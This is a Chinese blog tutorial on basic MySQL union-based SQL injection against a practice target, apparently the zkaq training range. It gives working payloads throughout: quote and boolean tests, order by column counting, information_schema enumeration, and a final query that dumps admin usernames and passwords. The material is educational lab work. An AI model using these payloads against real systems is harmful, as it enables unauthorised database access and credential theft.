1. 程式人生 > >最簡單的註入

最簡單的註入

ces 行操作 做的 排序 了吧 表名 .org 字段 結束

在get註入中,首先在?id=n後面加一個’,進行判斷是否被過濾且通過返回錯誤查看是何種諸如類型。字符:”n’”。數字型’’’。

如果沒有被過濾就繼續使用and 1=1,and 1=2 。可以看出and是否被過濾及確定是否可以註入。現在陳述的是最簡單的,不要笑話。

我這裏用數字型註入,字符型與數字型區別在於在哪用結束符閉合能滿足mysql的語法。在這裏使用的是掌控安全論壇中的靶場地址(http://hack.zkaq.org)

第一題是簡單的註入題

技術分享圖片

在id=1後面加上’就行判斷

技術分享圖片

可以看出’沒有被過濾,頁面出錯了。現在分別使用and 1=1 ,and 1=2看看。

技術分享圖片

發現and 1=1 顯示正常,and沒有被網頁識別為非法字符,看起來有戲。接下來看看and 1=2。

技術分享圖片

發現網頁不正常,這證明可以註入了。

And 1=2 拼接進去後相當於 select * from xxxx where id=1 and 1=2 ,這句話要整體的看。1=2肯定等於0,1=0這句話是錯的。最後id=錯,所以頁面什麽也沒有。因為這個靶場是一點防禦措施也沒有的,如果有的話就需要用到其他更繞的方法去測試了。

接下來讓我們看一下在這靶場中將用到的語法吧。我用phpstudy的集成環境中的mysql數據庫對我們將要用到的語句進行操作演示,以便加深理解。

技術分享圖片

進入mysql命令行並且使用命令show databases();查看本數據庫有多少個庫。

技術分享圖片

在這裏需要一提的是在註入中access數據庫和mysql數據庫的註入方法也是有一些區別的。在上圖中是有information_schema這個庫的,而在access數據庫中是沒有這個庫的。mysql和access數據庫,他們結構都是庫-表-列-字段。Information_schema裏面存放著mysql數據庫中的所有源數據,所以對mysql數據庫註入中可以通過查詢這張表來得到自己所要得到的信息。但是有一個先天前提,那就是自己所註入的這個網頁,我就稱為跳板吧。這個跳板必須有權限訪問information_schema這個庫。如果沒有權限訪問,那註入手法就和access數據庫一樣的。要手動猜解出庫名,等自己學習完之後會整理寫入博客中。

現在讓我們使用use information_schema;進入這張表。

技術分享圖片

讓我們用命令show tables;看看有什麽表吧。

技術分享圖片

技術分享圖片

顯示有四十張表,這四十張裏面的數據就是我mysql數據庫的所有數據了。首先介紹一下我們會用到的表和命令吧。

SCHEMATA這張表裏有所有的庫名,TABLES這張表裏有所有的表名,COLUMNS這張表裏有所有的列字段名。在數據庫中使用select * from SCHEMATA;

技術分享圖片

在這裏我們看到了這張表裏的所有內容,在數據中我們可以這樣查詢。但是我們一般在註入時只為了得到這張表裏的庫名罷了,在上圖中我們可以看到數據庫所在的列字段名是SCHEMA_NAME。所以使用命令select SCHEMA_NAME from SCHEMATA;

技術分享圖片

這樣的話就篩選出表的名字了。接下來的操作也是只篩選具體所要的東西。

接下來讓我們看看我這個環境中mysql庫裏面有什麽表吧。因為TABLES這張表裏有所有的表名。使用命令select TABLE_NAME from TABLES;

技術分享圖片

技術分享圖片

有這麽多的表,我們如何知道哪些表是屬於哪些數據庫的呢?在這張表中是有TABLE_SCHEMA列字段來所屬庫的,所以使用命令select TABLE_NAME from TABLES where TABLE_SCHEMA=’mysql’;

技術分享圖片

這就篩選出了所有屬於mysql的表了,接下來讓我們看看mysql表裏有哪些字段吧。

使用命令select COLUMN_NAME from COLUMNS where TABLE_NAME=’user’;

技術分享圖片

這樣就把表中的所有列字段名給爆出來了,我們最好其的當然是user和password這兩個字段了。現在知道了庫名表名字段名,可以使用select User,Password from mysql.user limit 0,1;查看這兩行的數據。

技術分享圖片

現在數據庫中的最基礎的操作我們已經過了一遍了,接下來讓我們繼續那題靶場吧。

拼接 order by n,一個個試過去看看哪一個可以成功。 order by 函數是用於排序的,在註入中使用它的意思是查看有多少個字段。學過編程的都知道,如果有四個字段,那麽我們可以讓1-4字段的排序,如果讓五段字段進行排序的話是不可能的,因為沒有第五段字段,這函數也是這個原理。最後試出來是兩個字段。

技術分享圖片

接下讓我們看一下有哪些字段的位置是可以在界面上顯示出來的吧。如果一個字段都不能顯示,那之前做的也就沒什麽意義的。反正不回顯自己什麽也看不到。用union聯合查詢函數,使用and 1=2 union select 1,2 。 對我來說這裏and 1=2 也是一個小細節,如果不用and 1=2 讓之前的頁面錯誤不顯示的話,後面的我們是看不見的。這裏是這樣的。

技術分享圖片

網頁中顯示了2,那麽說明2這個位置我可以使用函數能夠有回顯。使用命令and 1=2 union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA 。這命令現在你們應該看的明白了吧,就是從庫中的某張表裏提取某字段的信息。這裏就看出了數據庫中的庫名了。

技術分享圖片

有information_schema和maoshe這兩個庫。現在就看看貓舍這庫裏有什麽吧。使用命令and 1=2 UNION SELECT 1,group_concat(distinct+TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=’maoshe’ (這裏的’’存在解析問題,用url轉碼成%27再進行操作)

技術分享圖片

接下來就看admin表裏面有哪些字段了。使用and 1=2 UNION SELECT 1,group_concat(distinct+COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=’admin’

技術分享圖片

現在什麽都知道了就直接用命令爆出我們想要的一切吧。And%201=2%20union%20select%201,group_concat(username,password)%20from%20maoshe.admin%20 查字段內容,查出來如下圖。

技術分享圖片

可以看出賬號密碼分別為admin hellohack

這就是最簡單的註入過程了,其他的我會慢慢補在博客上。

最簡單的註入